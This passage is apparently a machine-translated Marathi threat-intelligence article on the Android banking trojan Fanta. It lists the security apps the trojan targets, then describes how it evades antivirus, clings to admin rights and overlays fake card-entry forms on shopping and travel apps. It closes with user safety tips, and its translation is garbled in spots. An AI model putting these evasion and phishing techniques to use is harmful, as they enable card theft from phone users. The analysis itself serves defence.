  • MIUI सुरक्षा
  • क्लीन मास्टर - अँटीव्हायरस आणि कॅशे आणि कचरा साफ करणारे
  • पालक नियंत्रणे आणि GPS: Kaspersky SafeKids
  • कॅस्परस्की अँटीव्हायरस अॅपलॉक आणि वेब सुरक्षा बीटा
  • व्हायरस क्लीनर, अँटीव्हायरस, क्लीनर (MAX सुरक्षा)
  • मोबाइल अँटीव्हायरस सुरक्षा प्रो
  • अवास्ट अँटीव्हायरस आणि मोफत संरक्षण 2019
  • मोबाइल सुरक्षा मेगाफोन
  • Xperia साठी AVG संरक्षण
  • मोबाइल सुरक्षा
  • मालवेअरबाइट्स अँटीव्हायरस आणि संरक्षण
  • Android 2019 साठी अँटीव्हायरस
  • सुरक्षा मास्टर - अँटीव्हायरस, व्हीपीएन, अॅपलॉक, बूस्टर
  • Huawei टॅबलेट सिस्टम मॅनेजरसाठी AVG अँटीव्हायरस
  • Samsung प्रवेशयोग्यता
  • सॅमसंग स्मार्ट व्यवस्थापक
  • सुरक्षा मास्टर
  • स्पीड बूस्टर
  • डॉ. वेब
  • डॉ. वेब सिक्युरिटी स्पेस
  • Dr.Web मोबाइल नियंत्रण केंद्र
  • Dr.Web Security Space Life
  • Dr.Web मोबाइल नियंत्रण केंद्र
  • अँटीव्हायरस आणि मोबाइल सुरक्षा
  • कॅस्परस्की इंटरनेट सुरक्षा: अँटीव्हायरस आणि संरक्षण
  • कॅस्परस्की बॅटरी लाइफ: सेव्हर आणि बूस्टर
  • कॅस्परस्की एंडपॉईंट सुरक्षा - संरक्षण आणि व्यवस्थापन
  • AVG अँटीव्हायरस फ्री 2019 – Android साठी संरक्षण
  • अँटीव्हायरस Android
  • नॉर्टन मोबाइल सुरक्षा आणि अँटीव्हायरस
  • अँटीव्हायरस, फायरवॉल, व्हीपीएन, मोबाइल सुरक्षा
  • मोबाइल सुरक्षा: अँटीव्हायरस, व्हीपीएन, चोरी संरक्षण
  • Android साठी अँटीव्हायरस

• छोट्या नंबरवर एसएमएस संदेश पाठवताना परवानगीची विनंती केल्यास, फॅन्टा चेकबॉक्सवर क्लिक करून अनुकरण करते निवड लक्षात ठेवा आणि बटण पाठविण्यासाठी.
• जेव्हा तुम्ही ट्रोजनकडून प्रशासक अधिकार काढून घेण्याचा प्रयत्न करता, तेव्हा ते फोन स्क्रीन लॉक करते.
• नवीन प्रशासक जोडण्यापासून प्रतिबंधित करते.
• अँटीव्हायरस अनुप्रयोग असल्यास dr.web धोका आढळला, फॅन्टा बटण दाबण्याचे अनुकरण करते दुर्लक्ष करा.
• इव्हेंट ऍप्लिकेशनद्वारे व्युत्पन्न झाला असल्यास, ट्रोजन बॅक आणि होम बटण दाबण्याचे अनुकरण करते सॅमसंग डिव्हाइस केअर.
• सुमारे 30 वेगवेगळ्या इंटरनेट सेवांच्या सूचीमधून एखादा ऍप्लिकेशन लॉन्च केला असल्यास, बँक कार्डबद्दल माहिती प्रविष्ट करण्यासाठी फॅन्टा फॉर्मसह फिशिंग विंडो तयार करते. त्यापैकी: AliExpress, बुकिंग, Avito, Google Play Market Component, Pandao, Drom Auto, इ.
  

  फिशिंग फॉर्म

  फॅन्टा संक्रमित उपकरणावर कोणते अनुप्रयोग चालू आहेत याचे विश्लेषण करते. स्वारस्य असलेला अनुप्रयोग उघडल्यास, ट्रोजन इतर सर्वांच्या वर एक फिशिंग विंडो प्रदर्शित करतो, जो बँक कार्ड माहिती प्रविष्ट करण्यासाठी एक फॉर्म आहे. वापरकर्त्याने खालील डेटा प्रविष्ट करणे आवश्यक आहे:

  • . Карты
  • कार्ड कालबाह्यता तारीख
  • सीव्हीव्ही
  • कार्डधारकाचे नाव (सर्व बँकांसाठी नाही)

  चालू असलेल्या अनुप्रयोगावर अवलंबून, भिन्न फिशिंग विंडो प्रदर्शित केल्या जातील. खाली त्यापैकी काही उदाहरणे आहेत:

  अ‍ॅलिप्रेस

  
  एव्हिटो:

  
  इतर काही अनुप्रयोगांसाठी, उदा. Google Play Market, Aviasales, Pandao, Booking, Trivago:
  

  ते खरोखर कसे होते
  

  सुदैवाने, लेखाच्या सुरुवातीला वर्णन केलेला एसएमएस संदेश प्राप्त केलेली व्यक्ती सायबरसुरक्षा तज्ञ असल्याचे निष्पन्न झाले. म्हणून, वास्तविक, नॉन-डिरेक्टरची आवृत्ती आधी सांगितल्यापेक्षा वेगळी आहे: एका व्यक्तीला एक मनोरंजक एसएमएस प्राप्त झाला, त्यानंतर त्याने तो ग्रुप-आयबी थ्रेट हंटिंग इंटेलिजन्स टीमला दिला. हल्ल्याचा परिणाम हा लेख आहे. आनंदी शेवट, बरोबर? तथापि, सर्वच कथा इतक्या यशस्वीपणे संपत नाहीत आणि त्यामुळे तुमचे पैसे कमी झाल्यामुळे दिग्दर्शकाच्या कटसारखे दिसत नाही, बहुतेक प्रकरणांमध्ये खालील दीर्घ-वर्णन केलेल्या नियमांचे पालन करणे पुरेसे आहे:

  • Google Play व्यतिरिक्त इतर कोणत्याही स्त्रोतांकडून Android OS सह मोबाइल डिव्हाइससाठी अनुप्रयोग स्थापित करू नका
  • अनुप्रयोग स्थापित करताना, अनुप्रयोगाद्वारे विनंती केलेल्या अधिकारांकडे विशेष लक्ष द्या
  • डाउनलोड केलेल्या फाइल्सच्या विस्ताराकडे लक्ष द्या
  • Android OS अद्यतने नियमितपणे स्थापित करा
  • संशयास्पद संसाधनांना भेट देऊ नका आणि तेथून फायली डाउनलोड करू नका
  • एसएमएस संदेशांमध्ये प्राप्त झालेल्या लिंकवर क्लिक करू नका.

स्त्रोत: www.habr.com